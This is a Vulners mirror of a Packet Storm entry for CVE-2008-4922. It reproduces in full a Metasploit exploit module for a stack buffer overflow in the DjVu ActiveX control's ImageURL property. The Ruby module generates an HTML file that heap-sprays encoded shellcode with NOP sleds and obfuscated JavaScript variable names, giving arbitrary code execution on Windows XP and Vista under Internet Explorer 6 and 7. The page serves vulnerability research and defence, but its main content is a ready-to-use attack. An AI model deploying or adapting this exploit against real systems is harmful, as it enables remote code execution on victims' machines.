Lucene search
K

DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by deanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Stack overflow in DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow when ImageURL property receives overly long string allowing arbitrary code execution. Not marked safe for scripting

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-4922
30 Oct 200800:00
circl
CVE
CVE-2008-4922
4 Nov 200820:00
cve
Cvelist
CVE-2008-4922
4 Nov 200820:00
cvelist
Exploit DB
DjVu - 'DjVu_ActiveX_MSOffice.dll' ActiveX Component Buffer Overflow (Metasploit)
25 Sep 201000:00
exploitdb
Metasploit
DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow
5 Jan 200900:55
metasploit
NVD
CVE-2008-4922
4 Nov 200821:00
nvd
Prion
Buffer overflow
4 Nov 200821:00
prion
`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in DjVu ActiveX Component. When sending an   
overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)  
an attacker may be able to execute arbitrary code. This control is not marked safe   
for scripting, so choose your attack vector accordingly.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-4922' ],  
[ 'OSVDB', '49592' ],  
[ 'BID', '31987' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]   
],  
'DisclosureDate' => 'Oct 30 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),  
], self.class)   
end  
  
def exploit   
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.   
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{nops}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.ImageURL = #{rand8};  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Creating HTML file ...")  
  
file_create(content)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2009 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.67087
31